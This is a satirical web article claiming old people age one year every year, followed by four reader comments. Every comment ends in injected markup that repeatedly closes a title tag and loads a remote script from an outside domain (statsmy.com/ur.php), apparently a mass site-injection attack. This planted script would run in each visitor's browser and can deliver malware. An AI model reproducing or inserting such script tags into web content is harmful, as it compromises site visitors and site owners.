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The Old are getting Older
by Scott Looney on 7/4/2003 (4)

This man has only lived 99 years, but he looks like he is nearly 100 years old.
The shocking results of a new survey have just been published. Surprisingly each year old people are getting older. In fact every year the average old person gets exactly on year older.

Local old person Eugene Wilder blames the federal government for his ever-increasing age, “I think it’s that damn government’s fault. When I was a youngin’ the old folks weren’t getting old this fast. If Roosevelt was still in charge we wouldn’t have a problem.”

Currently, Eugene Wilder is 88 years old; at the current increase of age rate he will turn 89 next year. Amazingly an old person of age 70, in 200 years will be 270 years old, that’s not acceptable. The current Bush administration was unavailable for comment, but it is expected that with they will do nothing to help the old population.n


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Comments

1. by Mark Motz on 3/1/2007 4:52:29 PM
Hey, I'm not old. I'm 38...years young...not years OLD, dammitt. I'm cool too, right?...RIGHT?? I am not OLD dammitt, and I'm COOL too! signed, Mark Motz, old, uncool guy. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Kris on 3/1/2007 4:52:29 PM
Sometimes it's cool to be old... sometimes. Being old like George Burns isn't cool, that's just too old.<i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Kris on 3/1/2007 4:52:29 PM
On a side note, I've now allienated all my 90+ year old readers and all the George Burns fans. Sorry guys, I didn't mean it.ispl </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by C. Montgomery Burns on 3/1/2007 4:52:29 PM
Why, that young chipper cousin of mine, George Burns, is a mere rosey cheeked youngster compared to me! excellent!isplay:none">< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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